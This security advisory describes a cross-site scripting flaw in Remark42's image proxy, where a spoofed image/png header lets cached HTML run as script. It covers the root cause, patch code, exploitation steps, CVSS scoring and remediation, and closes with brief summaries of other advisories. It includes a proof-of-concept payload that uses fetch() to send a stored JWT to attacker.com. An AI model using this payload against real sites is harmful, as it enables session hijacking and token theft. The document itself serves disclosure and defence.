Jun 26, 2026·6 min read·5 visits
Remark42 is vulnerable to an interpretation conflict where a malicious remote server spoofing a png content-type header can bypass download filters, forcing Remark42's image proxy to serve executable HTML payloads.
A critical-severity Cross-Site Scripting (XSS) and Content-Type spoofing vulnerability in Remark42 (versions 1.6.0 through 1.15.0) allows remote attackers to execute arbitrary client-side script code via a crafted image proxy request.
Remark42 incorporates an image proxy feature endpoint at /api/v1/img designed to fetch and re-serve remote images referenced within markdown comments. This functionality acts as a privacy-preserving and security-oriented mechanism, preventing mixed-content warnings on HTTPS-enforced domains and shielding end-user IP addresses from third-party tracking networks.
However, in Remark42 versions spanning 1.6.0 to 1.15.0, this interface introduces a critical attack surface due to a lack of alignment between download validation checks and response rendering logic. By leveraging an interpretation conflict, an unauthenticated attacker can execute arbitrary client-side scripts under the security origin of the Remark42 host.
This behavior classifies as CWE-436 (Interpretation Conflict) and manifests as CWE-79 (Cross-Site Scripting). The resulting impact allows malicious parties to execute script actions in a victim's active browser context, bypassing standard domain boundaries without needing authentication on the target Remark42 platform.
The root cause of this vulnerability lies in a structural inconsistency between how the Remark42 backend validates downloaded files and how it transmits them to client browsers. The image retrieval workflow is divided into two separate phases: an upstream download validation phase and a downstream media serving phase.
During the download phase, Remark42 retrieves the requested image from an external URL provided via the src query parameter. To verify the safety of the incoming file, the application relies solely on the HTTP response headers sent by the remote host. If the upstream server provides a header containing Content-Type: image/png or another type starting with the image/ prefix, Remark42 assumes the file is a legitimate image and commits it to the cache.
During the serving phase, the application handles client requests for cached files by ignoring the initial download-phase header. Instead, it dynamically sniffs the MIME type of the payload bytes using the standard Go function http.DetectContentType(img). This implementation inspects the first 512 bytes of the payload to dynamically classify the format.
Because the download filter does not validate the physical bytes of the image, an attacker can host an HTML file with an image header on their server. When cached and subsequently requested, the Go sniffing engine re-classifies the payload as text/html. This mismatch forces the victim's web browser to parse the cached image proxy response as executable HTML rather than static binary media.
To understand the technical progression, we must analyze the vulnerable execution paths alongside the remediation implemented in commit 78d6de6bce1e961f023969da3ec8a00dd80c9ae8.
The original code lacked proper validation checks on the retrieved payload, trusting the external server's HTTP content header during intake. The patched implementation introduces strict type checking via SafeImgContentType and hardens the security middleware configuration.
// backend/app/rest/api/rest.go
// The patch adds several security headers to prevent interpretation conflicts:
func securityHeadersMiddleware(imageProxyEnabled bool, allowedAncestors []string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// ... existing headers ...
// Force Content Security Policy parameters
w.Header().Set("Content-Security-Policy", fmt.Sprintf("default-src 'none'; ..."))
// Explicitly prevent MIME-sniffing away from the declared Content-Type
w.Header().Set("X-Content-Type-Options", "nosniff")
// Implement a restrictive referrer policy to protect authentication tokens
w.Header().Set("Referrer-Policy", "strict-origin-when-cross-origin")
next.ServeHTTP(w, r)
})
}
}// backend/app/rest/api/rest_test.go
// Tests verify that standard security headers are consistently applied to API endpoints
func TestRest_securityHeaders(t *testing.T) {
// ... context details omitted for clarity ...
assert.Equal(t, "nosniff", resp.Header.Get("X-Content-Type-Options"))
assert.Equal(t, "strict-origin-when-cross-origin", resp.Header.Get("Referrer-Policy"))
}By appending X-Content-Type-Options: nosniff to responses, the application prevents modern browsers from executing HTML blocks embedded inside images. The addition of strict backend checks to confirm that only safe image MIME types are served further secures the endpoint. The exclusion of complex vector formats like image/svg+xml eliminates nested script execution vectors within the image namespace.
Exploitation of this vulnerability requires minimal prerequisites and can be executed entirely out-of-band without prior authentication on the target platform. The primary constraint is that the target Remark42 deployment must have the image proxy feature enabled, which is the default configuration for preserving commenter privacy.
First, the attacker creates a file named exploit.html containing the target JavaScript payload. This script typically attempts to extract active authentication tokens, session cookies, or local storage vectors associated with the Remark42 domain origin. The attacker hosts this file on an external server configured to return an artificial Content-Type: image/png response header.
HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 135
<!DOCTYPE html>
<html>
<body>
<script>
fetch('https://attacker.com/collect?token=' + localStorage.getItem('REMARK42_JWT'));
</script>
</body>
</html>Next, the attacker triggers the caching sequence by requesting the proxy URL through a standard HTTP query. The application downloads the payload, verifies the spoofed header, and stores the malicious code inside the local caching directory.
Finally, the attacker delivers the formatted link /api/v1/img?src=https://attacker.com/exploit.html to a targeted Remark42 user or administrator. When the victim accesses this link, the Remark42 instance sniffs the cached payload, modifies the response type to text/html, and returns it. The victim's browser then executes the script, compromising the active session context.
The impact of successful exploitation is a complete client-side compromise of the target user's session. Since the script executes directly within the origin of the Remark42 application, it bypasses the browser's Same-Origin Policy (SOP).
If the victim is an administrative user, the attacker can execute arbitrary administrative actions, such as deleting comment threads, blocking users, or editing application settings. If the application handles user authentication via JWT tokens stored in localStorage, the script can exfiltrate these keys directly to an external server.
This vulnerability is assigned a CVSS v3.0 Base Score of 8.2 (High) with vector CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N. This calculation reflects that while user interaction is required to trigger the payload, the scope of the vulnerability shifts because executing arbitrary JavaScript in the Remark42 context compromises the confidentiality and integrity of adjacent client applications running on the same origin.
To remediate this vulnerability, administrators must update their Remark42 deployments to version 1.16.0 or higher. This release integrates robust backend validation routines and explicit client-side security policies that eliminate MIME sniffing opportunities.
For environments where immediate upgrades are unfeasible, administrators should consider implementing the following interim defensive workarounds:
X-Content-Type-Options: nosniff on all responses originating from the /api/v1/img path.Content-Type header of /api/v1/img requests to a generic binary type like application/octet-stream if image loading fails.Additionally, operators should clear downstream CDN or local caches to prevent the persistence of previously poisoned payloads.
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
remark42 umputun | >= 1.6.0, < 1.16.0 | 1.16.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-436, CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS Score | 8.2 (High) |
| EPSS Score | 0.00251 |
| Exploit Status | PoC |
| CISA KEV Status | Not Listed |
The system validates input from one context but consumes it in another context with different interpretation rules, leading to inconsistencies.
An incomplete mitigation of a predecessor vulnerability (GHSA-xvp4-phqj-cjr3 / CVE-2026-35671) in phpMyFAQ leaves sister administrative API endpoints vulnerable to Insecure Direct Object Reference (IDOR). Specifically, the `editUser` and `updateUserRights` endpoints lack object-level access controls, permitting authenticated low-privilege administrators to escalate their privileges or hijack SuperAdmin accounts.
CVE-2026-53462 is a heap Use-After-Free (UAF) vulnerability in ImageMagick's vector drawing subsystem, specifically within the coordinate allocation mechanism in CheckPrimitiveExtent. By parsing a crafted vector image (such as SVG or MVG) with extremely complex primitives, an attacker can trigger a memory reallocation failure. If the application fails to handle this allocation failure cleanly, it leaves a dangling pointer that can subsequently be accessed or freed again, causing memory corruption or an application crash.
A critical security flaw was identified in the Go package golang.org/x/crypto/ssh/agent. The vulnerability arises during the serialization of key constraints when adding SSH identities to a remote agent or an in-memory keyring. Specifically, custom constraint extensions, such as destination restrictions like restrict-destination-v00@openssh.com, were silently omitted from serialization in client requests. This omission allowed keys to be loaded into the remote agent with zero destination-based restrictions, enabling unauthorized users with access to the agent socket on intermediate hosts to authenticate to any downstream host without policy enforcement. The issue was resolved in version v0.52.0 of the golang.org/x/crypto library.
A high-severity Denial of Service (DoS) vulnerability (CVE-2026-46597 / GO-2026-5013) exists in the golang.org/x/crypto/ssh module before version v0.52.0. The flaw stems from an incorrect operator order during a type conversion of the GCM packet padding size, allowing a remote, unauthenticated attacker to trigger an out-of-bounds slice runtime panic and crash the Go process.
A critical security bypass vulnerability was discovered in the Go SSH server implementation within the golang.org/x/crypto/ssh package. When an SSH server authentication callback returned a PartialSuccessError alongside non-nil Permissions, the server silently discarded these permissions before the subsequent authentication step. Consequently, once the user completed the second-factor authentication, the session-level restrictions were dropped, granting the client unauthorized capabilities.
A Denial of Service (DoS) vulnerability exists in the Go SSH implementation package (golang.org/x/crypto/ssh). The vulnerability is caused by a null pointer dereference (runtime panic) when CertChecker is utilized as a public key callback but its validation fields, IsUserAuthority or IsHostAuthority, are uninitialized.